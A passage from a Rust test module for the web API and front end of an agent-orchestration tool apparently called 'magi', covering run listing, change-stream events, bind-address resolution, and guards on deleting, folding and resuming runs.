6646 .take()
6647 .expect("the successor was started");
6648 assert!(
6649 attempt.is_ok(),
6650 "and the address must be free by the time it is: {attempt:?}"
6651 );
6652 }
6653
6654 #[tokio::test]
6655 async fn a_newer_daemon_status_file_still_renders() {
6656 let f = Fixture::start().await;
6657 std::fs::write(
6660 f.home.path().join("daemon.json"),
6661 serde_json::json!({
6662 "schema": 2,
6663 "updated_at": Timestamp::now().to_string(),
6664 "idle": true,
6665 "surprise": { "nested": [1, 2, 3] },
6666 })
6667 .to_string(),
6668 )
6669 .expect("write daemon.json");
6670
6671 let health = f.get("/api/health").await;
6672
6673 assert_eq!(health.status, 200);
6674 assert_eq!(health.json()["daemon"]["running"], true);
6675 }
6676
6677 #[tokio::test]
6678 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6679 let f = Fixture::start().await;
6680 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6681 let broken = f.runs().join("20260902-140502-bad");
6682 std::fs::create_dir_all(&broken).expect("run dir");
6683 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6684
6685 let list = f.get("/api/runs").await;
6686 let detail = f.get("/api/runs/20260902-140502-bad").await;
6687
6688 assert_eq!(list.status, 200);
6689 let listed = list.json();
6690 let ids: Vec<&str> = listed
6691 .as_array()
6692 .expect("an array")
6693 .iter()
6694 .map(|r| r["id"].as_str().expect("an id"))
6695 .collect();
6696 assert_eq!(
6697 ids,
6698 vec!["20260902-140501-good"],
6699 "one unreadable run must not cost the operator the whole history"
6700 );
6701 assert_eq!(detail.status, 500);
6702 assert!(
6703 detail.json()["error"]
6704 .as_str()
6705 .is_some_and(|e| e.contains("run.json")),
6706 "the failure names the file to look at: {}",
6707 detail.body
6708 );
6709 let health = f.get("/api/health").await;
6713 assert_eq!(health.json()["runs_unreadable"], 1);
6714 }
6715
6716 #[tokio::test]
6717 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6718 let f = Fixture::start().await;
6719 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6720
6721 let summary = f.get("/api/runs").await.json();
6722 let row = &summary[0];
6723 assert_eq!(row["short"], "a1b2");
6724 assert_eq!(row["status"], "ready");
6725 assert_eq!(row["done"], true);
6726 assert_eq!(row["title"], "Add a web UI");
6727 assert_eq!(row["repo_name"], "magi");
6728 assert_eq!(row["judges"], 3);
6729 assert_eq!(row["winner"], Value::Null);
6730 assert_eq!(row["reviews"], 0);
6731
6732 let detail = f.get("/api/runs/a1b2").await;
6735 assert_eq!(detail.status, 200);
6736 assert_eq!(detail.json()["base_branch"], "main");
6737 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6738 }
6739
6740 #[tokio::test]
6748 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6749 let f = Fixture::start().await;
6750
6751 let mut none_run = RunState::new(
6752 PathBuf::from("/repo/magi"),
6753 "main".to_owned(),
6754 "0123456789abcdef".to_owned(),
6755 "Add a web UI".to_owned(),
6756 Config::default(),
6757 );
6758 none_run.id = "20260902-140503-none".to_owned();
6759 none_run.status = RunStatus::Ready;
6760 none_run.merge = Some(crate::run::MergeOutcome {
6761 mode: crate::config::MergeMode::None,
6762 ok: true,
6763 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6764 });
6765 write_state(&f.runs(), &none_run);
6766
6767 let mut pr_run = RunState::new(
6768 PathBuf::from("/repo/magi"),
6769 "main".to_owned(),
6770 "0123456789abcdef".to_owned(),
6771 "Add a web UI".to_owned(),
6772 Config::default(),
6773 );
6774 pr_run.id = "20260902-140504-prcl".to_owned();
6775 pr_run.status = RunStatus::Ready;
6776 pr_run.merge = Some(crate::run::MergeOutcome {
6777 mode: crate::config::MergeMode::Pr,
6778 ok: false,
6779 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6780 });
6781 write_state(&f.runs(), &pr_run);
6782
6783 let summary = f.get("/api/runs").await.json();
6784 let rows: std::collections::HashMap<&str, &Value> = summary
6785 .as_array()
6786 .expect("an array")
6787 .iter()
6788 .map(|r| (r["id"].as_str().expect("an id"), r))
6789 .collect();
6790 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6791 assert_eq!(
6792 rows[none_run.id.as_str()]["unmerged_by_design"],
6793 true,
6794 "a mode-none Ready must be flagged in the list"
6795 );
6796 assert_eq!(
6797 rows[pr_run.id.as_str()]["unmerged_by_design"],
6798 false,
6799 "a Ready reached by a closed pull request is a different case"
6800 );
6801
6802 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6803 assert_eq!(none_detail["status"], "ready");
6804 assert_eq!(none_detail["unmerged_by_design"], true);
6805
6806 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6807 assert_eq!(pr_detail["unmerged_by_design"], false);
6808 }
6809
6810 #[tokio::test]
6815 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6816 let f = Fixture::start().await;
6817 let id = "20260902-140502-bbbb";
6821 let mut state = RunState::new(
6822 PathBuf::from("/repo/magi"),
6823 "main".to_owned(),
6824 "0123456789abcdef".to_owned(),
6825 "Add a web UI".to_owned(),
6826 Config::default(),
6827 );
6828 state.id = id.to_owned();
6829 state.status = RunStatus::Judging;
6830 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6831 let dir = f.runs().join(id);
6832 std::fs::create_dir_all(&dir).expect("run dir");
6833 std::fs::write(
6834 dir.join("run.json"),
6835 serde_json::to_string_pretty(&state).expect("serialize run"),
6836 )
6837 .expect("write run.json");
6838
6839 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6842 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6843 assert_eq!(cold["live"], false, "{cold}");
6844
6845 write_daemon(f.home.path(), Timestamp::now());
6848 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6849 assert_eq!(warm["live"], true, "{warm}");
6850 }
6851
6852 #[tokio::test]
6853 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6854 let f = Fixture::start().await;
6855 for id in [
6856 "20260902-140501-aaaa",
6857 "20260902-140502-bbbb",
6858 "20260902-140503-cccc",
6859 ] {
6860 write_run(&f.runs(), id, RunStatus::Merged);
6861 }
6862
6863 let all = f.get("/api/runs").await.json();
6864 let capped = f.get("/api/runs?limit=2").await.json();
6865
6866 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6867 assert_eq!(all.as_array().map(Vec::len), Some(3));
6868 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6869 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6870 }
6871
6872 #[tokio::test]
6873 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6874 let f = Fixture::start().await;
6875 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6876
6877 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6878
6879 assert_eq!(res.status, 200);
6880 assert!(
6881 res.headers
6882 .contains("content-type: text/plain; charset=utf-8"),
6883 "a browser must render it, not download it: {}",
6884 res.headers
6885 );
6886 assert!(
6890 res.body.contains("20260902-140501-a1b2"),
6891 "the report is about the run that was asked for: {}",
6892 res.body
6893 );
6894 }
6895
6896 #[tokio::test]
6897 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6898 let f = Fixture::start().await;
6899
6900 let html = f.get("/").await;
6901 let css = f.get("/app.css").await;
6902 let js = f.get("/app.js").await;
6903
6904 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6905 assert!(
6906 html.headers
6907 .contains("content-type: text/html; charset=utf-8")
6908 );
6909 assert!(css.headers.contains("content-type: text/css"));
6910 assert!(js.headers.contains("content-type: text/javascript"));
6911 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6912 }
6913
6914 #[test]
6915 fn review_rounds_label_a_distinct_verified_head() {
6916 assert!(APP_JS.contains("round.verified_head"));
6917 assert!(APP_JS.contains("verified HEAD"));
6918 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6919 }
6920
6921 #[tokio::test]
6922 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6923 let f = Fixture::start().await;
6924
6925 let mut socket = tokio::net::TcpStream::connect(f.addr)
6926 .await
6927 .expect("connect");
6928 socket
6929 .write_all(
6930 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6931 )
6932 .await
6933 .expect("write request");
6934
6935 let mut seen = String::new();
6938 let mut buf = [0u8; 1024];
6939 while !seen.contains("event: change") {
6940 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6941 .await
6942 .expect("the stream must speak within five seconds")
6943 .expect("read");
6944 assert!(read > 0, "the server closed the change stream: {seen}");
6945 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6946 }
6947
6948 assert!(
6949 seen.to_lowercase()
6950 .contains("content-type: text/event-stream"),
6951 "the browser only reconnects automatically for a real SSE stream: {seen}"
6952 );
6953 let data = seen
6954 .lines()
6955 .find_map(|l| l.strip_prefix("data:"))
6956 .expect("a data line");
6957 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6958 assert!(
6959 payload["queue_rev"].is_u64()
6960 && payload["runs_rev"].is_u64()
6961 && payload["questions_rev"].is_u64()
6962 && payload["talks_rev"].is_u64()
6963 && payload["loop_rev"].is_u64(),
6964 "the client needs one revision per store to know what to refetch, \
6965 and `talks_rev` is the only notification a standing talk gets - a \
6966 phone whose radio slept through a turn learns about it here, as \
6967 does one whose operator started the loop from another device: \
6968 {payload}"
6969 );
6970
6971 let health = f.get("/api/health").await.json();
6978 for key in [
6979 "queue_rev",
6980 "runs_rev",
6981 "questions_rev",
6982 "talks_rev",
6983 "loop_rev",
6984 ] {
6985 assert!(
6986 health[key].is_u64(),
6987 "health is the change stream's fallback and is missing `{key}`: {health}"
6988 );
6989 }
6990 }
6991
6992 #[tokio::test]
6993 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6994 let f = Fixture::start().await;
6995 let before = f.get("/api/health").await.json()["talks_rev"]
6996 .as_u64()
6997 .expect("talks_rev");
6998
6999 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7000 std::thread::sleep(Duration::from_millis(10));
7001 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7002 on_disk.turns.push(crate::talk::Turn {
7003 who: crate::talk::Who::Operator,
7004 body: "a new turn".to_owned(),
7005 at: Timestamp::now(),
7006 attachments: Vec::new(),
7007 });
7008 f.talks().put(&mut on_disk).expect("record a turn");
7009
7010 let after = f.get("/api/health").await.json()["talks_rev"]
7011 .as_u64()
7012 .expect("talks_rev");
7013 assert_ne!(
7014 before, after,
7015 "a phone must be able to notice a talk's reply without polling every store"
7016 );
7017 }
7018
7019 #[test]
7020 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7021 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7025 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7026 }
7027 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7028 assert!("everywhere".parse::<Bind>().is_err());
7029 }
7030
7031 #[test]
7032 fn an_explicit_bind_address_is_taken_verbatim() {
7033 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7034
7035 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7036
7037 assert_eq!(addr, asked);
7038 assert!(
7039 warning.is_none(),
7040 "an operator who named an address gets no lecture"
7041 );
7042 }
7043
7044 #[test]
7045 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7046 let (addr, warning) = resolve_bind(&Bind::Auto);
7047
7048 match addr {
7055 IpAddr::V4(ip) if is_tailnet(&ip) => {
7056 assert!(warning.is_none(), "a tailnet address needs no warning");
7057 }
7058 other => {
7059 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7060 let warning = warning.expect("a fallback has to explain itself");
7061 assert!(
7062 warning.contains("127.0.0.1") && warning.contains("local-only"),
7063 "the warning says what happened and what it costs: {warning}"
7064 );
7065 }
7066 }
7067 }
7068
7069 #[test]
7070 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7071 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7075 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7076 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7077 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7078 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7079 }
7080
7081 #[test]
7082 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7083 let ids = vec![
7084 "20260902-140501-aaaa".to_owned(),
7085 "20260902-140502-aabb".to_owned(),
7086 ];
7087
7088 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7089 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7090 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7091
7092 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7093 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7094 assert_eq!(short, "20260902-140502-aabb");
7095 }
7096 #[tokio::test]
7097 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7098 let fx = Fixture::start().await;
7104 let id = panel(
7105 &fx,
7106 "<img src=\"shot.png\">",
7107 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7108 );
7109
7110 let doc = fx
7112 .get(&format!("/api/questions/{id}/panel/index.html"))
7113 .await;
7114 assert_eq!(doc.status, 200, "{}", doc.body);
7115 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7116
7117 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7118 assert_eq!(sibling.status, 200, "{}", sibling.body);
7119 assert_eq!(sibling.header("content-type"), Some("image/png"));
7120 assert_eq!(
7121 sibling.header("content-security-policy"),
7122 Some(PANEL_CSP),
7123 "the sibling route must carry the same policy as the asset route"
7124 );
7125
7126 assert_eq!(
7129 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7130 200
7131 );
7132 }
7133
7134 #[test]
7135 fn runs_revision_moves_when_deleting_an_older_run() {
7136 let temp = TempDir::new().expect("tempdir");
7137 let runs = temp.path().join("runs");
7138 std::fs::create_dir_all(&runs).expect("create runs dir");
7139
7140 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7141
7142 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7143 std::thread::sleep(Duration::from_millis(10));
7144 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7145
7146 let rev_before = runs_revision(&runs);
7147 assert!(rev_before > 0);
7148
7149 let old_dir = runs.join("20260901-100000-old1");
7150 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7151
7152 let rev_after = runs_revision(&runs);
7153 assert_ne!(
7154 rev_before, rev_after,
7155 "deleting an older run must change the revision so other clients see the deletion"
7156 );
7157 }
7158
7159 fn write_state(runs: &FsPath, state: &RunState) {
7164 let dir = runs.join(&state.id);
7165 std::fs::create_dir_all(&dir).expect("run dir");
7166 std::fs::write(
7167 dir.join("run.json"),
7168 serde_json::to_string_pretty(state).expect("serialize run"),
7169 )
7170 .expect("write run.json");
7171 }
7172
7173 #[test]
7178 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7179 let temp = TempDir::new().expect("tempdir");
7180 let runs = temp.path().join("runs");
7181 std::fs::create_dir_all(&runs).expect("create runs dir");
7182 let mut state = RunState::new(
7183 PathBuf::from("/repo/magi"),
7184 "main".to_owned(),
7185 "0123456789abcdef".to_owned(),
7186 "task".to_owned(),
7187 Config::default(),
7188 );
7189 state.id = "20260902-100000-c0de".to_owned();
7190 write_state(&runs, &state);
7191
7192 let rev_idle = runs_revision(&runs);
7193 std::thread::sleep(Duration::from_millis(10));
7194 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7195 write_state(&runs, &state);
7196 let rev_started = runs_revision(&runs);
7197 assert_ne!(
7198 rev_idle, rev_started,
7199 "a seat starting must move the revision"
7200 );
7201
7202 std::thread::sleep(Duration::from_millis(10));
7203 state.seat_finished("judge-1");
7204 write_state(&runs, &state);
7205 let rev_finished = runs_revision(&runs);
7206 assert_ne!(
7207 rev_started, rev_finished,
7208 "and clearing it again must move the revision a second time"
7209 );
7210 }
7211
7212 #[tokio::test]
7213 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7214 let fx = Fixture::start().await;
7215 let q = fx.queue();
7216
7217 let mut t1 = Task::new(
7219 "Task 1".to_owned(),
7220 "Instruction 1".to_owned(),
7221 PathBuf::from("/repo"),
7222 Source::Human,
7223 );
7224 let run_id = "20260901-000000-r111";
7225 t1.runs.push(run_id.to_owned());
7226 write_run(&fx.runs(), run_id, RunStatus::Merged);
7227 q.put(&mut t1).expect("put t1");
7228
7229 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7231 assert_eq!(res.status, 204);
7232 assert!(res.body.is_empty(), "204 No Content has no body");
7233 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7234 assert!(
7235 fx.runs().join(run_id).exists(),
7236 "run directory must not be deleted when its task is deleted"
7237 );
7238
7239 let mut t2 = Task::new(
7241 "Task 2".to_owned(),
7242 "Instruction 2".to_owned(),
7243 PathBuf::from("/repo"),
7244 Source::Human,
7245 );
7246 t2.status = TaskStatus::Running;
7247 q.put(&mut t2).expect("put t2");
7248 let mut beat = crate::daemon::Status::new();
7249 beat.current = vec![crate::daemon::Current {
7250 task: t2.id.clone(),
7251 run: "20260901-000000-r222".to_owned(),
7252 }];
7253 beat.updated_at = jiff::Timestamp::now();
7254 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7255 .expect("publish a heartbeat");
7256 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7257 assert_eq!(res.status, 409);
7258 assert!(
7259 res.json()["error"]
7260 .as_str()
7261 .unwrap()
7262 .contains("live daemon")
7263 );
7264 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7265
7266 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7272 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7273 .expect("leave a stale heartbeat");
7274 let mut t3 = Task::new(
7275 "Task 3".to_owned(),
7276 "Instruction 3".to_owned(),
7277 PathBuf::from("/repo"),
7278 Source::Human,
7279 );
7280 t3.status = TaskStatus::Running;
7281 q.put(&mut t3).expect("put t3");
7282 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7283 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7284 assert_eq!(res.status, 204);
7285 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7286 assert!(
7287 q.claim(&t3.id).is_ok(),
7288 "the stale lock went with it, so the id is claimable again"
7289 );
7290
7291 let res = fx.delete("/api/queue/nonexistent").await;
7293 assert_eq!(res.status, 404);
7294 }
7295
7296 #[tokio::test]
7297 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7298 let fx = Fixture::start().await;
7299 let runs = fx.runs();
7300
7301 let run_id = "20260901-000000-fold";
7303 let mut state = RunState::new(
7304 PathBuf::from("/repo"),
7305 "main".to_owned(),
7306 "abc".to_owned(),
7307 "instruction".to_owned(),
7308 Config::default(),
7309 );
7310 state.id = run_id.to_owned();
7311 state.status = RunStatus::Merged;
7312 state.candidates.push(crate::run::Candidate {
7313 index: 0,
7314 label: 'A',
7315 agent: "a".to_owned(),
7316 branch: "b".to_owned(),
7317 worktree: PathBuf::from("/w"),
7318 summary: String::new(),
7319 stat: String::new(),
7320 files: 1,
7321 commits: 1,
7322 empty: false,
7323 failed: None,
7324 duration_ms: 0,
7325 folded: true,
7326 });
7327 let dir = runs.join(run_id);
7328 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7329 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7330 .expect("write artifact");
7331 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7332 .expect("write run.json");
7333
7334 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7336 assert_eq!(res.status, 204);
7337 assert!(res.body.is_empty(), "204 has no body");
7338 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7339
7340 let run_running = "20260901-000000-rung";
7345 write_run(&runs, run_running, RunStatus::Prep);
7346 let mut beat = crate::daemon::Status::new();
7347 beat.current = vec![crate::daemon::Current {
7348 task: "20260901-000000-task".to_owned(),
7349 run: run_running.to_owned(),
7350 }];
7351 beat.updated_at = jiff::Timestamp::now();
7352 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7353 .expect("publish a heartbeat");
7354 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7355 assert_eq!(res.status, 409);
7356 assert!(
7357 res.json()["error"]
7358 .as_str()
7359 .unwrap()
7360 .contains("live daemon"),
7361 "the refusal must say who is holding it"
7362 );
7363 assert!(
7364 runs.join(run_running).exists(),
7365 "a run in flight keeps its directory"
7366 );
7367
7368 let run_unfolded = "20260901-000000-unfd";
7370 let mut state2 = RunState::new(
7371 PathBuf::from("/repo"),
7372 "main".to_owned(),
7373 "abc".to_owned(),
7374 "instruction".to_owned(),
7375 Config::default(),
7376 );
7377 state2.id = run_unfolded.to_owned();
7378 state2.status = RunStatus::Ready;
7379 state2.candidates.push(crate::run::Candidate {
7380 index: 0,
7381 label: 'A',
7382 agent: "a".to_owned(),
7383 branch: "b".to_owned(),
7384 worktree: PathBuf::from("/w"),
7385 summary: String::new(),
7386 stat: String::new(),
7387 files: 1,
7388 commits: 1,
7389 empty: false,
7390 failed: None,
7391 duration_ms: 0,
7392 folded: false,
7393 });
7394 let dir2 = runs.join(run_unfolded);
7395 std::fs::create_dir_all(&dir2).expect("create dir2");
7396 std::fs::write(
7397 dir2.join("run.json"),
7398 serde_json::to_string(&state2).unwrap(),
7399 )
7400 .expect("write run.json");
7401
7402 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7403 assert_eq!(res.status, 409);
7404 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7405 assert!(dir2.exists(), "unfolded run directory is kept");
7406
7407 let res = fx.delete("/api/runs/nonexistent").await;
7409 assert_eq!(res.status, 404);
7410 }
7411
7412 #[test]
7413 fn web_ui_delete_contract_in_front_end() {
7414 assert!(APP_JS.contains("deleteRun:"));
7416 assert!(APP_JS.contains("deleteTask:"));
7417
7418 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7420 ..APP_JS.find("function renderRuns").unwrap()];
7421 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7422
7423 assert!(APP_JS.contains("renderRunDelete"));
7425 assert!(APP_JS.contains("runDeleteReason"));
7426 assert!(APP_JS.contains("magi fold"));
7427 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7428
7429 assert!(APP_JS.contains("cancel.focus"));
7431 assert!(APP_JS.contains("armedRunDelete"));
7432 assert!(APP_JS.contains("armedDelete"));
7433
7434 assert!(APP_JS.contains("disabled: status === \"running\""));
7436 }
7437
7438 #[test]
7458 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7459 let build = APP_JS
7460 .find("function createRunCard")
7461 .expect("createRunCard exists");
7462 let update = APP_JS
7463 .find("function updateRunCard")
7464 .expect("updateRunCard exists");
7465 let end = APP_JS
7466 .find("function renderRuns")
7467 .expect("renderRuns exists");
7468
7469 let builder = &APP_JS[build..update];
7471 let open = builder.find("refs = {").expect("createRunCard sets refs");
7472 let literal = &builder[open + "refs = {".len()..];
7473 let close = literal.find('}').expect("the refs literal is closed");
7474 let published: HashSet<&str> = literal[..close]
7475 .split(',')
7476 .filter_map(|entry| entry.split(':').next())
7478 .map(str::trim)
7479 .filter(|name| !name.is_empty())
7480 .collect();
7481 assert!(
7482 published.len() > 5,
7483 "the refs literal did not parse into names: {published:?}"
7484 );
7485
7486 let mut used: Vec<&str> = Vec::new();
7489 let updaters = &APP_JS[update..end];
7490 for (at, _) in updaters.match_indices("r.") {
7491 let before = updaters[..at].chars().next_back();
7494 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7495 continue;
7496 }
7497 let rest = &updaters[at + 2..];
7498 let len = rest
7499 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7500 .unwrap_or(rest.len());
7501 if len > 0 {
7502 used.push(&rest[..len]);
7503 }
7504 }
7505 assert!(
7506 used.len() > 5,
7507 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7508 );
7509
7510 let missing: Vec<&str> = used
7511 .iter()
7512 .copied()
7513 .filter(|name| !published.contains(name))
7514 .collect();
7515 assert!(
7516 missing.is_empty(),
7517 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7518 never put in `refs` - every card will throw and the list will \
7519 render empty under a count line that says otherwise. Published: \
7520 {published:?}"
7521 );
7522 }
7523
7524 #[tokio::test]
7525 async fn folding_from_the_phone_reports_what_it_removed() {
7526 let fx = Fixture::start().await;
7527 let runs = fx.runs();
7528
7529 let id = "20260901-000000-fold";
7533 write_run(&runs, id, RunStatus::Stalled);
7534 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7535 assert_eq!(res.status, 200);
7536 assert_eq!(res.json()["removed_count"], 0);
7537 assert_eq!(res.json()["run"], id);
7538 assert!(
7539 runs.join(id).exists(),
7540 "a fold keeps the run's record; only the worktrees go"
7541 );
7542 }
7543
7544 #[tokio::test]
7545 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7546 let fx = Fixture::start().await;
7547 let runs = fx.runs();
7548 let wt = fx.home.path().join("wt").join("magi").join("dead");
7549 let id = "20260901-000000-dead";
7550 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7551 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7552 std::fs::create_dir_all(&wt).expect("worktree dir");
7553
7554 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7555 assert_eq!(res.status, 200, "{}", res.body);
7556 assert!(
7557 res.json()["removed_count"].as_u64().unwrap() > 0,
7558 "the worktree this build could not read a state for still went"
7559 );
7560 assert!(
7561 !runs.join(id).exists(),
7562 "an unreadable run has no candidate list to fold selectively, so \
7563 the whole record goes - same as `magi fold` on the CLI"
7564 );
7565 }
7566
7567 #[tokio::test]
7568 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7569 let fx = Fixture::start().await;
7570 let runs = fx.runs();
7571 let wt = fx.home.path().join("wt").join("magi").join("gone");
7572 let id = "20260901-000000-gone";
7573 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7574 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7575 std::fs::create_dir_all(&wt).expect("worktree dir");
7576
7577 let res = fx.delete(&format!("/api/runs/{id}")).await;
7578 assert_eq!(res.status, 204, "{}", res.body);
7579 assert!(!runs.join(id).exists(), "the broken record is gone");
7580 assert!(!wt.exists(), "its worktree is gone too");
7581 }
7582
7583 #[tokio::test]
7584 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7585 let fx = Fixture::start().await;
7586 let runs = fx.runs();
7587 let id = "20260901-000000-live";
7588 write_run(&runs, id, RunStatus::Implementing);
7589
7590 let mut beat = crate::daemon::Status::new();
7591 beat.current = vec![crate::daemon::Current {
7592 task: "20260901-000000-task".to_owned(),
7593 run: id.to_owned(),
7594 }];
7595 beat.updated_at = jiff::Timestamp::now();
7596 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7597 .expect("publish a heartbeat");
7598
7599 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7600 assert_eq!(res.status, 409);
7601 assert!(
7602 res.json()["error"]
7603 .as_str()
7604 .unwrap()
7605 .contains("live daemon"),
7606 "folding under a running agent would pull its worktree away"
7607 );
7608 }
7609
7610 #[tokio::test]
7611 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7612 let fx = Fixture::start().await;
7613 let runs = fx.runs();
7614
7615 for (status, word) in [
7621 (RunStatus::Merged, "merged"),
7622 (RunStatus::Ready, "ready"),
7623 (RunStatus::Failed, "failed"),
7624 ] {
7625 let id = format!("20260901-000000-{}", &word[..4]);
7626 write_run(&runs, &id, status);
7627 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7628 assert_eq!(res.status, 409, "{word} must not be resumable");
7629 let err = res.json()["error"].as_str().unwrap().to_owned();
7630 assert!(err.contains(word), "the refusal names the status: {err}");
7631 }
7632
7633 let mid = "20260901-000000-midf";
7638 write_run(&runs, mid, RunStatus::Reviewing);
7639 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7640 assert_eq!(res.status, 202, "an interrupted run is resumable");
7641 }
7642
7643 #[tokio::test]
7644 async fn resume_is_refused_while_the_loop_is_running() {
7645 let fx = Fixture::start().await;
7646 let runs = fx.runs();
7647 let stalled = "20260901-000000-stal";
7648 write_run(&runs, stalled, RunStatus::Stalled);
7649
7650 let mut beat = crate::daemon::Status::new();
7654 beat.current = vec![crate::daemon::Current {
7655 task: "20260901-000000-task".to_owned(),
7656 run: "20260901-000000-othr".to_owned(),
7657 }];
7658 beat.updated_at = jiff::Timestamp::now();
7659 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7660 .expect("publish a heartbeat");
7661
7662 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7663 assert_eq!(res.status, 409);
7664 let err = res.json()["error"].as_str().unwrap().to_owned();
